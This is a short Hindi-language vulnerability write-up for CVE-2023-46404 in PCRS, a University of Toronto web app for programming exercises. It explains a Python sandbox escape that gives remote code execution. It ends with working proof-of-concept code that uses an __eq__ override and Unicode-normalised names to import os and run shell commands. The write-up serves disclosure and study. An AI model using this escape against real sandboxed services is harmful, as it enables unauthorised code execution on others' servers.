
CVE-2023-46404 के लिए PoC और Writeup
PCRS टोरंटो विश्वविद्यालय में विकसित ऑनलाइन प्रोग्रामिंग अभ्यासों के लिए एक वेब ऐप है। Bitbucket रिपॉजिटरी देखें: https://bitbucket.org/utmandrew/pcrs/src/3.11/
PCRS का “Questions” पृष्ठ (कोड सबमिशन के साथ) और “Code editor” पृष्ठ Python सैंडबॉक्सिंग से बचकर रिमोट कोड निष्पादन (RCE) की चपेट में हैं।
PCRS इंस्टेंसों में जनरेटर ऑब्जेक्ट्स के उपयोग से रिमोट कोड निष्पादन प्राप्त किया जा सकता है। जनरेटर फ्रेम्स (gi_frame) और f_back का उपयोग करके, स्क्रिप्ट सैंडबॉक्स्ड स्टैक फ्रेम से बाहर निकल सकती हैं और बिना सैंडबॉक्स वाले वातावरण में दुर्भावनापूर्ण कोड निष्पादित कर सकती हैं। इसके अतिरिक्त, यूनिकोड सामान्यीकरण आसानी से बुनियादी इनपुट सैनिटाइज़ेशन को बायपास कर सकता है। न्यूनतम विशेषाधिकारों वाला कोई भी प्रमाणित उपयोगकर्ता इस हमले को अंजाम दे सकता है। अधिक विवरण के लिए PoC देखें।
सुरक्षित आइसोलेशन तंत्रों को शून्य से तैयार करना अनदेखी और कमजोरियों के प्रति प्रवण है। हमेशा की तरह, किसी भाषा के बजाय निष्पादन वातावरण (execution environment) को सैंडबॉक्स करना बेहतर है।
प्रतिबंधित वातावरण में __eq__ को ओवरराइड करने का उपयोग किया जा सकता है:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s